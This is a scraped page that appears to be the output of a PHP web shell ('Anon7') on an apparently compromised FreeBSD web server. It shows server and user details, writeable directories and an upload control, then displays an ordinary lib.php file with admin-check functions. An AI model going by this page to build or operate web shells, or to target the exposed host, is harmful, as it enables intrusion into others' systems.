KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/abtechsci/mmc15/ezupload/cp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/abtechsci/mmc15/ezupload/cp/lib.php
<?php

//for demo version, comment the following line and add the next lines untill "####"
//require("header.php");

//error_reporting(E_ERROR  | E_PARSE);

include_once("db.class.php");
//get userID (could be obtained from $_SESSION['PU']
function IsAdmin()
              {
                  global $_SESSION;

    			  $setting=new settings();
                  $temp=$setting->get();
                  $adminname=$temp[0]->adminname;
                  $user = new user();
    	          $temp = $user->get($_SESSION['PU']);
    	          if($temp[0]->name ==$adminname)
    	          Return true;
    	          else
    	          Return false;
	          }
function UsersCount()
                {
                  $user = new user();
                  return $user->UsersCount();

                }

?>

Anon7 - 2021